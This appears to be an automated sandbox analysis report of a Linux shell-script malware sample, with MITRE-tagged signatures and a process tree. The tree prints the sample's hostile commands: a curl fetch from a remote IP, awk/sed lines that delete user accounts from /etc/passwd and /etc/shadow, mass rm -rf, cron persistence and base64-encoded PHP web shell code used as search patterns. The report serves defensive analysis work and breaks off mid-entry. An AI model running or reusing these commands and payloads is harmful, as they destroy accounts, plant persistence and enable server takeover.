533ab567dfbbdae5fde5bf1443f2291a169da6de448d08bbf950ead27ccf0582

Analysis

max time kernel
15s
max time network
20s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
31/07/2026, 13:47

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
533ab567dfbbdae5fde5bf1443f2291a169da6de448d08bbf950ead27ccf0582.sh
Size 44KB
Sample260731-q3hecsvxcs
SHA256 533ab567dfbbdae5fde5bf1443f2291a169da6de448d08bbf950ead27ccf0582
MD5 b58e52acef8ca9cbf30e997b9449b5cd
SHA1 fdd819056ccac60bd44d8e084acdd4883a9a964f
SHA512 ad7130018418f88e039c6b534f320d9cfd5edaf05d870f41182ee6138d3fb9068c73ec2c164339e64d2c12cdf9adc4ca92e9d2866e40b2424382b883644f12b8
SSDEEP 768:z+A9GKYpr9GKYp82fkR4nnA9GKYpr9GKYp82fkR4nnx:z+9co
TLSH
T146137D6966857C24AE99883B1C7E2F0CB9A983E1310451EDBFCB3CF58C49B9CD21971D
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

antivm credential_access defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Modifies password files for system users/ groups 1 TTPs 45 IoCs

Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.

persistence credential_access defense_evasion

Pluggable Authentication Modules

T1556.003

description	ioc	Process
File opened for modification	/etc/gshadow	useradd
File opened for modification	/etc/shadow	userdel
File opened for modification	/etc/group	userdel
File opened for modification	/etc/passwd	useradd
File opened for modification	/etc/group	useradd
File opened for modification	/etc/passwd	useradd
File opened for modification	/etc/gshadow	userdel
File opened for modification	/etc/passwd	userdel
File opened for modification	/etc/shadow	userdel
File opened for modification	/etc/passwd	useradd
File opened for modification	/etc/group	useradd
File opened for modification	/etc/passwd	bash
File opened for modification	/etc/gshadow	userdel
File opened for modification	/etc/group	useradd
File opened for modification	/etc/shadow	useradd
File opened for modification	/etc/gshadow	useradd
File opened for modification	/etc/passwd	useradd
File opened for modification	/etc/group	useradd
File opened for modification	/etc/gshadow	useradd
File opened for modification	/etc/shadow	useradd
File opened for modification	/etc/passwd	useradd
File opened for modification	/etc/gshadow	useradd
File opened for modification	/etc/shadow	useradd
File opened for modification	/etc/passwd	userdel
File opened for modification	/etc/group	userdel
File opened for modification	/etc/group	useradd
File opened for modification	/etc/shadow	useradd
File opened for modification	/etc/shadow	useradd
File opened for modification	/etc/gshadow	useradd
File opened for modification	/etc/shadow	useradd
File opened for modification	/etc/shadow	useradd
File opened for modification	/etc/group	useradd
File opened for modification	/etc/passwd	useradd
File opened for modification	/etc/gshadow	useradd
File opened for modification	/etc/gshadow	useradd
File opened for modification	/etc/passwd	useradd
File opened for modification	/etc/shadow	useradd
File opened for modification	/etc/gshadow	useradd
File opened for modification	/etc/shadow	useradd
File opened for modification	/etc/group	useradd
File opened for modification	/etc/passwd	useradd
File opened for modification	/etc/gshadow	useradd
File opened for modification	/etc/group	useradd
File opened for modification	/etc/group	useradd
File opened for modification	/etc/passwd	useradd

OS Credential Dumping 1 TTPs 13 IoCs

Adversaries may attempt to dump credentials to use it in password cracking.

credential_access

/etc/passwd and /etc/shadow

T1003.008

description	ioc	Process
File opened for reading	/etc/shadow	useradd
File opened for reading	/etc/shadow	useradd
File opened for reading	/etc/shadow	useradd
File opened for reading	/etc/shadow	useradd
File opened for reading	/etc/shadow	userdel
File opened for reading	/etc/shadow	userdel
File opened for reading	/etc/shadow	useradd
File opened for reading	/etc/shadow	useradd
File opened for reading	/etc/shadow	useradd
File opened for reading	/etc/shadow	sed
File opened for reading	/etc/shadow	sed
File opened for reading	/etc/shadow	useradd
File opened for reading	/etc/shadow	useradd

Adds a user to the system 10 IoCs

pid	Process
1218	useradd
1238	useradd
1243	useradd
1248	useradd
1112	useradd
1128	useradd
1223	useradd
1228	useradd
1233	useradd
1120	useradd

Creates/modifies Cron job 1 TTPs 5 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.oDC7xi	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.c6BbBj	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.eifjsp	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.qXerXu	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.a4Rb3v	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Deobfuscate/Decode Files or Information 1 TTPs 3 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
1126	base64
1110	base64
1118	base64

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/105/status	userdel
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/140/status	userdel
File opened for reading	/proc/155/status	userdel
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/107/task	userdel
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/1/task	userdel
File opened for reading	/proc/108/status	userdel
File opened for reading	/proc/594/status	userdel
File opened for reading	/proc/726/status	userdel
File opened for reading	/proc/726/task	userdel
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/3/status	userdel
File opened for reading	/proc/19/status	userdel
File opened for reading	/proc/22/status	userdel
File opened for reading	/proc/274/status	userdel
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/sys/kernel/ngroups_max	useradd
File opened for reading	/proc/2/status	userdel
File opened for reading	/proc/7/status	userdel
File opened for reading	/proc/137/status	userdel
File opened for reading	/proc/566/task	userdel
File opened for reading	/proc/304/task	userdel
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/701/status	userdel
File opened for reading	/proc/43/task	userdel
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/671/task	userdel
File opened for reading	/proc/137/status	userdel
File opened for reading	/proc/666/status	userdel
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/23/status	userdel
File opened for reading	/proc/304/status	userdel
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/sys/kernel/ngroups_max	useradd
File opened for reading	/proc/594/task	userdel
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/filesystems	userdel
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/702/status	userdel
File opened for reading	/proc/18/status	userdel
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/self/fd	xargs

System Network Configuration Discovery 1 TTPs 22 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
809	grep
961	xargs
963	grep
975	grep
975	grep
794	grep
809	grep
963	grep
963	grep
963	grep
975	grep
807	xargs
809	grep
963	grep
963	grep
973	xargs
975	grep
975	grep
809	grep
809	grep
809	grep
975	grep

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.yavqk1oq	wget

/tmp/533ab567dfbbdae5fde5bf1443f2291a169da6de448d08bbf950ead27ccf0582.sh
/tmp/533ab567dfbbdae5fde5bf1443f2291a169da6de448d08bbf950ead27ccf0582.sh
1⤵
PID:666
- /usr/bin/curl
  curl http://160.119.69.4/x -ks
  2⤵
  - Checks CPU configuration
  PID:669
- /bin/bash
  bash
  2⤵
  - Modifies password files for system users/ groups
  PID:670
- - /bin/mkdir
    mkdir -p /tmps /tmp /trmp /var/spool/asterisk/tmp
    3⤵
    PID:685
- - /bin/rm
    rm -rf /tmp/042fe062e97f7a321a0e88046dd1ada8a7cb41b449e2cad27db8ad8be50ce9f4.elf /tmp/04614935b46d278acf30fbd275dfa2b55e19a1a96ece17be852325305469343e.sh /tmp/1737369bee038e31b39e2cb66b9dd18ecbec92a7be1324adc16060682141f2fd.exe /tmp/1ca3b901935fead67478eae99eaf7061c871fc0fcea3403086a0c5cc154c1f3f.elf /tmp/34d2e47fa8f6b64e346623b4ed66898b86d53891900b953e69f02e2b3ffb2cc9.sh /tmp/404df61aa1d3bfcfc14288b9cc0131642cbafb31256f28c5fd7e5ef51bbe2d69.elf /tmp/4778d350b0175cac5f08e53a51abe758ff8f62ccc00f296b2f6f950b54a1ddc8.exe /tmp/533ab567dfbbdae5fde5bf1443f2291a169da6de448d08bbf950ead27ccf0582.sh /tmp/68bd19635359188ea8ab42541ba0e573b34a1819fde6115e8dced39c4ebd97b9.elf /tmp/94fdbdfea6c70f8d83acf32f495584ff7a25c9270bfb36fe045eb43efb7ac04d.elf /tmp/b66cde24a585798b61132a8fce61bbd704169264b9bf497cacd5ed4f0804453d.elf /tmp/c5dc6d8f325c125fba0a9ceea0cac957642fbf0a38bd4da867a82f6f06962d45.apk /tmp/e4697c702263e186097be61c198ffc5a148631b1d3db08f2b515c1b742f8e919.elf /tmp/ef5d4d0fbfd73d3e50607ac5f62287ec6f9045ce6fb5940afeab6bb2601b0cb6.elf /tmp/ffb744e91515a6bdb0bf0588065455efd591250c882026b6c16f6afca11ca98f.elf /tmp/systemd-private-f30ca5bbd3874c57a68a24853568c190-systemd-timedated.service-w1sBal "/tmps/*" "/trmp/*" /var/tmp/systemd-private-f30ca5bbd3874c57a68a24853568c190-systemd-timedated.service-2Jkusn "/var/tmps/*" "/var/trmp/*" "/var/lib/asterisk/bin/devnull*"
    3⤵
    PID:687
- - /bin/rm
    rm -rf /tmp/devnull24 /tmps/devnull24 /trmp/devnull24 /var/tmp/devnull24 /var/tmps/devnull24 /var/trmp/devnull24 /var/lib/asterisk/bin/devnull24
    3⤵
    PID:690
- - /bin/rm
    rm -rf /tmp/devnull23 /tmps/devnull23 /trmp/devnull23 /var/tmp/devnull23 /var/tmps/devnull23 /var/trmp/devnull23 /var/lib/asterisk/bin/devnull23
    3⤵
    PID:692
- - /bin/rm
    rm -rf /tmp/devnull2 /tmps/devnull2 /trmp/devnull2 /var/tmp/devnull2 /var/tmps/devnull2 /var/trmp/devnull2 /var/lib/asterisk/bin/devnull2
    3⤵
    PID:694
- - /bin/rm
    rm -rf /tmp/k /tmps/k /tmp/.font-unix /tmp/.ICE-unix /tmp/.Test-unix /tmp/.X11-unix /tmp/.XIM-unix "/tmps/.??*" "/trmp/.??*"
    3⤵
    PID:695
- - /usr/bin/awk
    awk -F: "(\$3 == 0 || \$3 >= 1000) && \$1 != \"root\" {system(\"userdel -rf \" \$1 \" 2>/dev/null; sed -i \\\"/^\" \$1 \":/d\\\" /etc/passwd /etc/shadow /etc/group /etc/gshadow; rm -rf /home/\" \$1 \" 2>/dev/null\")}" /etc/passwd
    3⤵
    PID:698
  - - /bin/sh
      sh -c "userdel -rf nobody 2>/dev/null; sed -i \"/^nobody:/d\" /etc/passwd /etc/shadow /etc/group /etc/gshadow; rm -rf /home/nobody 2>/dev/null"
      4⤵
      PID:701
    - - /usr/sbin/userdel
        
        userdel -rf nobody
        5⤵
        Modifies password files for system users/ groups
        OS Credential Dumping
        Reads runtime system information
        
        PID:702
      - /usr/sbin/nscd
        
        nscd -i passwd
        6⤵
        
        PID:712
      - /usr/sbin/nscd
        
        nscd -i group
        6⤵
        
        PID:714
      - /usr/sbin/nscd
        
        nscd -i passwd
        6⤵
        
        PID:715
      - /usr/sbin/nscd
        
        nscd -i group
        6⤵
        
        PID:716
    - - /bin/sed
        
        sed -i "/^nobody:/d" /etc/passwd /etc/shadow /etc/group /etc/gshadow
        5⤵
        OS Credential Dumping
        
        PID:717
    - - /bin/rm
        
        rm -rf /home/nobody
        5⤵
        
        PID:724
  - - /bin/sh
      sh -c "userdel -rf user 2>/dev/null; sed -i \"/^user:/d\" /etc/passwd /etc/shadow /etc/group /etc/gshadow; rm -rf /home/user 2>/dev/null"
      4⤵
      PID:725
    - - /usr/sbin/userdel
        
        userdel -rf user
        5⤵
        Modifies password files for system users/ groups
        OS Credential Dumping
        Reads runtime system information
        
        PID:726
      - /usr/sbin/nscd
        
        nscd -i passwd
        6⤵
        
        PID:733
      - /usr/sbin/nscd
        
        nscd -i group
        6⤵
        
        PID:734
      - /usr/sbin/nscd
        
        nscd -i passwd
        6⤵
        
        PID:736
      - /usr/sbin/nscd
        
        nscd -i group
        6⤵
        
        PID:737
    - - /bin/sed
        
        sed -i "/^user:/d" /etc/passwd /etc/shadow /etc/group /etc/gshadow
        5⤵
        OS Credential Dumping
        
        PID:738
    - - /bin/rm
        
        rm -rf /home/user
        5⤵
        
        PID:739
- - /usr/bin/sort
    sort -u
    3⤵
    PID:747
- - /bin/grep
    grep -r "--include=*.php" -l -E "(eval.*base64_decode|/\\*[A-Za-z0-9]+\\*/eval|system\\(\\\$_GET\\[)|eval\\(\\\$_POST|eval\\(\\\$_REQUEST|eval\\(\\\$_GET|system\\(\\\$c\\s" /var/www/html/
    3⤵
    PID:749
- - /bin/grep
    grep -rE "--include=*.php" PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBzaXplPSc4MCcgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImV4ZWN1dGUiIHZhbHVlPSJFeGVjdXRlIiAvPiA8aHIgLz4KPC9mb3JtPg /var/www/html/
    3⤵
    PID:750
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:751
- - /bin/grep
    grep -rE "--include=*.php" Unauth0r1zed /var/www/html/
    3⤵
    PID:752
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:753
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:755
- - /bin/grep
    grep -rE "--include=*.php" cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj8 /var/www/html/
    3⤵
    PID:754
- - /bin/grep
    grep -rE "--include=*.php" atmin /var/www/html/
    3⤵
    PID:756
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:757
- - /bin/grep
    grep -rE "--include=*.php" New-Pbx /var/www/html/
    3⤵
    PID:758
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:759
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:761
- - /bin/grep
    grep -rE "--include=*.php" 1c95bad5b03658f331833d6ea9e77887 /var/www/html/
    3⤵
    PID:760
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:763
- - /bin/grep
    grep -rE "--include=*.php" C99Shell /var/www/html/
    3⤵
    PID:762
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:765
- - /bin/grep
    grep -rE "--include=*.php" Emad__Was__Here /var/www/html/
    3⤵
    PID:764
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:767
- - /bin/grep
    grep -rE "--include=*.php" VictamPbx /var/www/html/
    3⤵
    PID:766
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:769
- - /bin/grep
    grep -rE "--include=*.php" t3rr0r /var/www/html/
    3⤵
    PID:768
- - /bin/grep
    grep -rE "--include=*.php" Hacked /var/www/html/
    3⤵
    PID:770
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:771
- - /bin/grep
    grep -rE "--include=*.php" b374k /var/www/html/
    3⤵
    PID:772
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:773
- - /bin/grep
    grep -rE "--include=*.php" xman /var/www/html/
    3⤵
    PID:774
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:775
- - /bin/grep
    grep -rE "--include=*.php" emad /var/www/html/
    3⤵
    PID:776
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:777
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:779
- - /bin/grep
    grep -rE "--include=*.php" 4ce19905aac5c1a58fc464e5bc1ce027 /var/www/html/
    3⤵
    PID:778
- - /bin/grep
    grep -rE "--include=*.php" a62e7e1e4dfd211e99796aebb24dd872 /var/www/html/
    3⤵
    PID:780
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:781
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:783
- - /bin/grep
    grep -rE "--include=*.php" 212.83.160.70 /var/www/html/
    3⤵
    PID:782
- - /bin/grep
    grep -rE "--include=*.php" c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdkMzIxNjkwNzA4YWUwODg5MDgwYmM1ZjdiMjYyZDQ3MScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI /var/www/html/
    3⤵
    PID:784
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:785
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:787
- - /bin/grep
    grep -rE "--include=*.php" PXNnXkJjM2Brrml4KJcQB2cl /var/www/html/
    3⤵
    PID:786
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:789
- - /bin/grep
    grep -rE "--include=*.php" PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPjxpbnB1dCBzaXplPTIwIHR5cGU9cGFzc3dvcmQgbmFtZT0icCIgLz48aW5wdXQgc2l6ZT02MCB0eXBlPXRleHQgbmFtZT0iYyIgLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkhhY2tlZCIgLz48L2Zvcm0 /var/www/html/
    3⤵
    PID:788
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:791
- - /bin/grep
    grep -rE "--include=*.php" "Black Ban V1.01" /var/www/html/
    3⤵
    PID:790
- - /bin/grep
    grep -rE "--include=*.php" c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdiNmJhMGZlNDgxOWI2NWUzOTZlNzEzNzg1YjI1ODI2ZScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI /var/www/html/
    3⤵
    PID:792
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:793
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:795
- - /bin/grep
    grep -rE "--include=*.php" CnNlc3Npb25fc3RhcnQoKTsKaWYgKGlzc2V0KCRfUkVRVUVTVFsnbWQ1J10pICYmIG1kNSgkX1JFUVVFU1RbJ21kNSddKSA9PT0gJzc1ODY4ZTA4ZGNhNzE4YTVlYmRhYzdmNGU3NjJhODRiJykgewogICAgJF9TRVNTSU9OWydNQUZJQSddID0gJ2xvZ2dlZCc7Cn0KaWYgKCFpc3NldCgkX1NFU1NJT05bJ01BRklBJ10pKSB7CiAgICBlY2hvICc8Zm9ybSBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZDUiIHNpemU9IjMyIi8 /var/www/html/
    3⤵
    - System Network Configuration Discovery
    PID:794
- - /usr/bin/xargs
    xargs -0 grep -Il "<?php system("
    3⤵
    - Reads runtime system information
    PID:797
  - - /usr/local/sbin/grep
      grep -Il "<?php system("
      4⤵
      PID:799
  - - /usr/local/bin/grep
      grep -Il "<?php system("
      4⤵
      PID:799
  - - /usr/sbin/grep
      grep -Il "<?php system("
      4⤵
      PID:799
  - - /usr/bin/grep
      grep -Il "<?php system("
      4⤵
      PID:799
  - - /sbin/grep
      grep -Il "<?php system("
      4⤵
      PID:799
  - - /bin/grep
      grep -Il "<?php system("
      4⤵
      PID:799
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:796
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:798
- - /usr/bin/xargs
    xargs -0 grep -Il Emad__Was__Here
    3⤵
    PID:802
  - - /usr/local/sbin/grep
      grep -Il Emad__Was__Here
      4⤵
      PID:804
  - - /usr/local/bin/grep
      grep -Il Emad__Was__Here
      4⤵
      PID:804
  - - /usr/sbin/grep
      grep -Il Emad__Was__Here
      4⤵
      PID:804
  - - /usr/bin/grep
      grep -Il Emad__Was__Here
      4⤵
      PID:804
  - - /sbin/grep
      grep -Il Emad__Was__Here
      4⤵
      PID:804
  - - /bin/grep
      grep -Il Emad__Was__Here
      4⤵
      PID:804
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:801
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:803
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:806
- - /usr/bin/xargs
    xargs -0 grep -Il CnNlc3Npb25fc3RhcnQoKTsKaWYgKGlzc2V0KCRfUkVRVUVTVFsnbWQ1J10pICYmIG1kNSgkX1JFUVVFU1RbJ21kNSddKSA9PT0gJzc1ODY4ZTA4ZGNhNzE4YTVlYmRhYzdmNGU3NjJhODRiJykgewogICAgJF9TRVNTSU9OWydNQUZJQSddID0gJ2xvZ2dlZCc7Cn0KaWYgKCFpc3NldCgkX1NFU1NJT05bJ01BRklBJ10pKSB7CiAgICBlY2hvICc8Zm9ybSBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZDUiIHNpemU9IjMyIi8
    3⤵
    - System Network Configuration Discovery
    PID:807
  - - /usr/local/sbin/grep
      grep -Il CnNlc3Npb25fc3RhcnQoKTsKaWYgKGlzc2V0KCRfUkVRVUVTVFsnbWQ1J10pICYmIG1kNSgkX1JFUVVFU1RbJ21kNSddKSA9PT0gJzc1ODY4ZTA4ZGNhNzE4YTVlYmRhYzdmNGU3NjJhODRiJykgewogICAgJF9TRVNTSU9OWydNQUZJQSddID0gJ2xvZ2dlZCc7Cn0KaWYgKCFpc3NldCgkX1NFU1NJT05bJ01BRklBJ10pKSB7CiAgICBlY2hvICc8Zm9ybSBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZDUiIHNpemU9IjMyIi8
      4⤵
      System Network Configuration Discovery
      PID:809
  - - /usr/local/bin/grep
      grep -Il CnNlc3Npb25fc3RhcnQoKTsKaWYgKGlzc2V0KCRfUkVRVUVTVFsnbWQ1J10pICYmIG1kNSgkX1JFUVVFU1RbJ21kNSddKSA9PT0gJzc1ODY4ZTA4ZGNhNzE4YTVlYmRhYzdmNGU3NjJhODRiJykgewogICAgJF9TRVNTSU9OWydNQUZJQSddID0gJ2xvZ2dlZCc7Cn0KaWYgKCFpc3NldCgkX1NFU1NJT05bJ01BRklBJ10pKSB7CiAgICBlY2hvICc8Zm9ybSBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZDUiIHNpemU9IjMyIi8
      4⤵
      System Network Configuration Discovery
      PID:809
  - - /usr/sbin/grep
      grep -Il CnNlc3Npb25fc3RhcnQoKTsKaWYgKGlzc2V0KCRfUkVRVUVTVFsnbWQ1J10pICYmIG1kNSgkX1JFUVVFU1RbJ21kNSddKSA9PT0gJzc1ODY4ZTA4ZGNhNzE4YTVlYmRhYzdmNGU3NjJhODRiJykgewogICAgJF9TRVNTSU9OWydNQUZJQSddID0gJ2xvZ2dlZCc7Cn0KaWYgKCFpc3NldCgkX1NFU1NJT05bJ01BRklBJ10pKSB7CiAgICBlY2hvICc8Zm9ybSBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZDUiIHNpemU9IjMyIi8
      4⤵
      System Network Configuration Discovery
      PID:809
  - - /usr/bin/grep
      grep -Il CnNlc3Npb25fc3RhcnQoKTsKaWYgKGlzc2V0KCRfUkVRVUVTVFsnbWQ1J10pICYmIG1kNSgkX1JFUVVFU1RbJ21kNSddKSA9PT0gJzc1ODY4ZTA4ZGNhNzE4YTVlYmRhYzdmNGU3NjJhODRiJykgewogICAgJF9TRVNTSU9OWydNQUZJQSddID0gJ2xvZ2dlZCc7Cn0KaWYgKCFpc3NldCgkX1NFU1NJT05bJ01BRklBJ10pKSB7CiAgICBlY2hvICc8Zm9ybSBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZDUiIHNpemU9IjMyIi8
      4⤵
      System Network Configuration Discovery
      PID:809
  - - /sbin/grep
      grep -Il CnNlc3Npb25fc3RhcnQoKTsKaWYgKGlzc2V0KCRfUkVRVUVTVFsnbWQ1J10pICYmIG1kNSgkX1JFUVVFU1RbJ21kNSddKSA9PT0gJzc1ODY4ZTA4ZGNhNzE4YTVlYmRhYzdmNGU3NjJhODRiJykgewogICAgJF9TRVNTSU9OWydNQUZJQSddID0gJ2xvZ2dlZCc7Cn0KaWYgKCFpc3NldCgkX1NFU1NJT05bJ01BRklBJ10pKSB7CiAgICBlY2hvICc8Zm9ybSBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZDUiIHNpemU9IjMyIi8
      4⤵
      System Network Configuration Discovery
      PID:809
  - - /bin/grep
      grep -Il CnNlc3Npb25fc3RhcnQoKTsKaWYgKGlzc2V0KCRfUkVRVUVTVFsnbWQ1J10pICYmIG1kNSgkX1JFUVVFU1RbJ21kNSddKSA9PT0gJzc1ODY4ZTA4ZGNhNzE4YTVlYmRhYzdmNGU3NjJhODRiJykgewogICAgJF9TRVNTSU9OWydNQUZJQSddID0gJ2xvZ2dlZCc7Cn0KaWYgKCFpc3NldCgkX1NFU1NJT05bJ01BRklBJ10pKSB7CiAgICBlY2hvICc8Zm9ybSBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZDUiIHNpemU9IjMyIi8
      4⤵
      System Network Configuration Discovery
      PID:809
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:808
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:810
- - /usr/bin/xargs
    xargs -0 grep -Il a62e7e1e4dfd211e99796aebb24dd872
    3⤵
    - Reads runtime system information
    PID:811
  - - /usr/local/sbin/grep
      grep -Il a62e7e1e4dfd211e99796aebb24dd872
      4⤵
      PID:815
  - - /usr/local/bin/grep
      grep -Il a62e7e1e4dfd211e99796aebb24dd872
      4⤵
      PID:815
  - - /usr/sbin/grep
      grep -Il a62e7e1e4dfd211e99796aebb24dd872
      4⤵
      PID:815
  - - /usr/bin/grep
      grep -Il a62e7e1e4dfd211e99796aebb24dd872
      4⤵
      PID:815
  - - /sbin/grep
      grep -Il a62e7e1e4dfd211e99796aebb24dd872
      4⤵
      PID:815
  - - /bin/grep
      grep -Il a62e7e1e4dfd211e99796aebb24dd872
      4⤵
      PID:815
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:812
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:817
- - /usr/bin/xargs
